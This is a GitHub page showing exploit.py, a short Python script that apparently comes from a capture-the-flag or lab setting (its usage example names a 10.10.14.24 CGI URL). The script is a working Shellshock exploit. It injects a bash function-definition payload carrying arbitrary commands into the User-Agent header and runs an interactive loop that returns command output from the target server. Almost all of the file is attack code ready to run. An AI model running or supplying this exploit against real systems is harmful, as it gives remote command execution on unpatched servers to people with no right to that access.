-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathexploit.py
More file actions
27 lines (25 loc) · 704 Bytes
/
exploit.py
File metadata and controls
27 lines (25 loc) · 704 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
import requests,sys
from termcolor import cprint
from os import system
def main():
while(True):
try:
cprint('~$ ','yellow',attrs=['bold'],end='')
cmd = input()
if cmd == 'exit' or cmd == 'quit':
break
elif cmd == 'clear':
system('clear')
else:
headers = {"User-Agent": "() { :; }; echo ; echo ; /bin/bash -c '"+cmd+"'"}
out = requests.get(url, headers=headers)
cprint(out.text,'grey',attrs=['bold'],end='')
except(KeyboardInterrupt):
break
if len(sys.argv) != 2:
cprint('[+] ','yellow',attrs=['bold'],end='')
cprint(f"Usage: {sys.argv[0]} http://10.10.14.24/cgi-bin/test.cgi",'green',attrs=['bold'])
else:
url = f"{sys.argv[1]}"
main()